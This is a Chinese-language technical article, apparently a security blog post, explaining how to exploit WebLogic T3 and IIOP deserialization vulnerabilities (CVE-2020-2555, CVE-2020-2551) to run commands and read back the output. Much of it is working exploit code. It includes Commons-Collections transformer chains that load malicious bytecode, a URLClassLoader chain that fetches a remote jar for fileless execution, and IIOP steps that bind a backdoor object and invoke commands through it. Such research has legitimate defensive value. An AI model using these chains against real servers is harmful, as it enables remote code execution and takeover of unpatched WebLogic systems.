Weblogic T3/iiop 构造有回显exp方案分析
字数 1237 2025-08-25 22:58:28
Weblogic T3/IIOP协议反序列化漏洞利用与回显方案分析
1. 传统Weblogic T3协议回显分析
1.1 基本原理
传统Weblogic T3协议回显主要利用org.mozilla.classfile.DefiningClassLoader类加载恶意字节码,通过T3协议的反序列化漏洞发送给目标服务器。
关键代码片段:
private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}),
new ConstantTransformer(new HashSet())
};
return transformers;
}
1.2 恶意类实现要点
- 必须继承
ClusterMasterRemote接口才能完成RMI交互 - 绑定实例的关键代码:
RemoteImpl remote = new RemoteImpl();
Context ctx = new InitialContext();
ctx.rebind("aaaaaaaa", remote);
System.out.println("installed");
2. T3反序列化机制分析
2.1 请求处理流程
ExecuteThread.class的run函数监听7001端口连接- 调用
execute方法处理请求 - 通过
SocketReaderRequest处理请求 - 最终调用
MuxableSocketT3的dispatch方法分发请求 - 调用
readObject读取请求
2.2 黑名单机制
Weblogic在serverChannelInputStream的resolvClass中检查待反序列化的类是否在黑名单中。
黑名单位置:wlclient.jar/weblogic/utils/io/oif/WeblogicIbjectInputFilter.class
3. 绕过黑名单的思路
3.1 两种主要思路
- 绕过黑名单的gadget:例如CVE-2020-2555
- 新的反序列化途径:例如IIOP协议(CVE-2020-2551),该协议不受Weblogic黑名单限制
3.2 URLClassLoader方案
使用URLClassLoader加载远程jar包实现无文件落地:
ChainedExtractor chainedExtractor = new ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor("getConstructor", new Object[]{new Class[]{URL[].class}}),
new ReflectionExtractor("newInstance", new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}),
new ReflectionExtractor("loadClass", new Object[]{className}),
new ReflectionExtractor("getMethod", new Object[]{"test", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]})
});
4. T3回显方案(CVE-2020-2555)
4.1 实现要点
- 使用CVE-2020-2555的gadget触发恶意类的绑定函数
- 成功绑定实例后可执行命令
4.2 局限性
该gadget无法在Weblogic 10.3.6下使用,因为缺少相关gadget的类
5. IIOP回显方案(CVE-2020-2551)
5.1 优势
IIOP反序列化不会使用Weblogic黑名单,可实现通用版本的回显方案
5.2 实现步骤
- 创建IIOP context:
String rhost = converUrl(host, port);
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
return new InitialContext(env);
- 构造gadget并发送:
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
context.rebind("UnicodeSec" + System.nanoTime(), badAttributeValueExpException);
- 检测绑定是否成功:
try {
Context initialContext = getInitialContext(converUrl(host, port));
ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup(bindName);
return remoteCode;
} catch (Exception e) {
// 处理异常
}
- 执行命令并获取回显:
String commandResponse = remoteCode.getServerLocation("showmecode" + command);
System.out.println("命令结果如下");
System.out.println(commandResponse);
6. 关键注意事项
- 必须添加
wlsserver/server/lib/weblogic.jar到classpath,否则会报错 - Java反序列化不会传递类的代码和结构,只会传输类中的变量,因此需要使用classloader
- 单纯在攻击端执行bind触发漏洞不会绑定实例,必须通过特定方式实现
7. 参考资源
通过以上分析,我们可以全面了解Weblogic T3/IIOP协议的反序列化漏洞利用方式及回显实现方案,为安全研究和防御提供参考。